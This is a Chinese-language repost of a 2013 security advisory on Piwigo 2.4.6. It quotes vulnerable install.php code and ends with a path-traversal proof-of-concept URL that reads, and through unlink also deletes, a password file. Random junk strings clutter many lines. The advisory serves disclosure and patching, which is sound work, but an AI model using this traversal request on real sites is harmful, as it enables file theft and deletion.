Piwigo任意文件泄露和任意文件删除漏洞

admin

Piwigo是用PHP编写的相册脚本。
& x9 Y* w: T" `8 P$ e
% y) H- A! g- U; nPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
====================================================================
/install.php:
  m5 i- c) R. [" _9 L4 y% p-------------
+ @/ r6 U& S7 v3 s113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
, z1 N: ?4 U: N% i' l3 V! s114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
& ^' I2 ?+ l  E: B# ~. L. Y117:   header('Pragma: no-cache');
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
121:   echo file_get_contents($filename);
122:   unlink($filename);
/ \$ H# M: r! s) d3 j: H123:   exit();
124: }
====================================================================
$ h9 q" q4 S/ F
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
1 ]9 K9 b% A( S- u- _* b           PHP 5.4.4
           MySQL 5.5.25a

9 S3 l; ~$ M" D" i- DVulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience

$ ^& y9 T' r7 D0 `Advisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
  a% y3 n" `3 Z- O, M' j4 QVendor Patch: http://piwigo.org/bugs/view.php?id=2843
! c: }+ V$ I7 x" s" T7 d3 K- \5 W
/ y, x2 F. a3 f) _15.02.2013

; D$ s* v9 D2 K7 i9 ~" p0 e, e--
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt